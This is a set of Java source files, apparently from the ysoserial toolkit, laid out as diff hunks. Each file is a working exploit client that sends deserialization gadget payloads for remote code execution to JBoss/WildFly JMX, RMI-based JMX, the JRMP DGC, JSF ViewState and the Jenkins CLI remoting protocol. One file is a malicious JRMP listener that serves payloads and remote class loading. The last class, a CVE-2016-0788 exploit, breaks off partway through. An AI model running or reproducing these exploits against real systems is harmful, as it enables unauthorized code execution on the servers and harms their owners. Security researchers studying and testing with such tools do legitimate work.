import java.util.logging.LogManager;
import java.util.logging.LogRecord;
import java.util.logging.Logger;
import javax.management.InstanceNotFoundException;
import javax.management.IntrospectionException;
import javax.management.MBeanInfo;
import javax.management.MBeanOperationInfo;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ReflectionException;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.Callback;
import javax.security.auth.callback.CallbackHandler;
import javax.security.auth.callback.NameCallback;
import javax.security.auth.callback.PasswordCallback;
import javax.security.auth.callback.UnsupportedCallbackException;
import javax.security.sasl.RealmCallback;
import org.jboss.remoting3.Channel;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.Endpoint;
import org.jboss.remoting3.OpenListener;
import org.jboss.remoting3.Remoting;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.ConnectionHandler;
import org.jboss.remoting3.spi.ConnectionHandlerContext;
import org.jboss.remoting3.spi.ConnectionHandlerFactory;
import org.jboss.remoting3.spi.ConnectionProvider;
import org.jboss.remoting3.spi.ConnectionProviderContext;
import org.jboss.remoting3.spi.RegisteredService;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.FutureResult;
import org.xnio.IoFuture;
import org.xnio.IoFuture.Status;
import org.xnio.OptionMap;
import org.xnio.Options;
import org.xnio.Xnio;
import org.xnio.XnioWorker;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
*
* An exploitation client for JBoss AS/Wildfly JMX
*
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
*
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
*
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
*
* I.e. you can succesfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes"
} )
public class JBoss {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
System.exit(-1);
}
URI u = URI.create(args[ 0 ]);
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String username = null;
String password = null;
if ( u.getUserInfo() != null ) {
int sep = u.getUserInfo().indexOf(':');
if ( sep >= 0 ) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
}
else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
Utils.postSerializeRelease(args[1], payloadObject);
}
private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
}
catch ( Throwable e ) {
e.printStackTrace(System.err);
}
finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc ) {
if ( vc != null ) {
vc.close();
}
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( ch != null ) {
try {
ch.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( instance != null ) {
try {
instance.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( context != null ) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException {
for ( Callback cb : callbacks ) {
if ( cb instanceof NameCallback ) {
( (NameCallback) cb ).setName(username);
}
else if ( cb instanceof PasswordCallback ) {
( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]);
}
else if ( !( cb instanceof RealmCallback) ) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if ( s == Status.FAILED ) {
System.err.println("Cannot connect");
if ( ioFuture.getException() != null ) {
ioFuture.getException().printStackTrace(System.err);
}
}
else if ( s != Status.DONE ) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
return chf;
}
private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if ( s2 == Status.FAILED ) {
System.err.println("Cannot connect");
if ( cFuture.getException() != null ) {
throw new IOException("Connect failed", cFuture.getException());
}
}
else if ( s2 != Status.DONE ) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection ( Channel c )
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[ 0 ] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for ( ObjectInstance oi : testMBeans ) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
}
catch ( Throwable e ) {
String msg = e.getMessage();
if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
}
else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish ( LogRecord record ) {
System.err.println(record.getMessage());
}
@Override
public void flush () {
}
@Override
public void close () throws SecurityException {}
}
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
this.context = context;
}
public void remoteClosed () {}
public OpenListener getServiceOpenListener ( String serviceType ) {
return null;
}
public RegisteredService getRegisteredService ( String serviceType ) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext () {
return this.context;
}
public Connection getConnection () {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
private ExecutorService executor;
private Xnio instance;
private Endpoint endpoint;
public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
}
});
}
public XnioWorker getXnioWorker () {
return this.worker;
}
public Xnio getXnio () {
return this.instance;
}
public Executor getExecutor () {
return this.executor;
}
public Endpoint getEndpoint () {
return this.endpoint;
}
public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) {
System.err.println("accept");
}
}
}
@@ -0,0 +1,39 @@
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
@@ -0,0 +1,50 @@
package ysoserial.exploit;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
*
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
*
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
*
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
*
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*
*/
public class JRMPClassLoadingListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,142 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.postSerializeRelease(args[2], payloadObject);
}
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
// based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
@Override
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
}
}
@@ -0,0 +1,317 @@
package ysoserial.exploit;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.postSerializeRelease(args[1], payloadObject);
}
public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}
if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
+80
View File
@@ -0,0 +1,80 @@
package ysoserial.exploit;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
URL u = new URL(args[ 0 ]);
URLConnection c = u.openConnection();
if ( ! ( c instanceof HttpURLConnection ) ) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.postSerializeRelease(args[1], payloadObject);
}
}
@@ -0,0 +1,125 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String jenkinsUrl = args[ 0 ];
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
Utils.postSerializeRelease(args[1], payloadObject);
}
public static Callable<?, ?> getPropertyCallable ( final Object prop )
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if ( ! ( conn instanceof HttpURLConnection ) ) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if ( hc.getResponseCode() >= 400 ) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -0,0 +1,215 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* CVE-2016-0788 exploit (1)
*
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
*
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings ( {
"rawtypes", "restriction"
} )
public class JenkinsListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
System.exit(-1);
}
String jenkinsUrl = args[ 0 ];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}
}
catch ( Throwable e ) {
